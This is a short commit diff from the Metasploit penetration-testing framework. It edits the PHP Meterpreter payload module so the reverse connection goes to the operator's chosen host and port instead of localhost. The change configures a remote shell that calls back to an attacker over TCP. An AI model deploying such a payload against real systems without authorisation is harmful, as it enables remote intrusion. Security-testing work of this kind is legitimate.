make it work for more than localhost...

git-svn-id: file:///home/svn/framework3/trunk@9401 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2010-06-03 00:21:24 +00:00
parent f974f59c32
commit 9dc298f56d
1 changed files with 3 additions and 1 deletions

View File

@ -23,7 +23,7 @@ module Metasploit3
super(update_info(info,
'Name' => 'PHP Meterpreter',
'Version' => '$Revision: 8984 $',
'Description' => 'Run a meterpreter server in PHP',
'Description' => 'Run a meterpreter server in PHP that connects to the attacker over TCP',
'Author' => ['egypt'],
'Platform' => 'php',
'Arch' => ARCH_PHP,
@ -37,6 +37,8 @@ module Metasploit3
met = File.open(file, "rb") {|f|
f.read(f.stat.size)
}
met.gsub!("127.0.0.1", datastore['LHOST'])
met.gsub!("4444", datastore['LPORT'])
met
end
end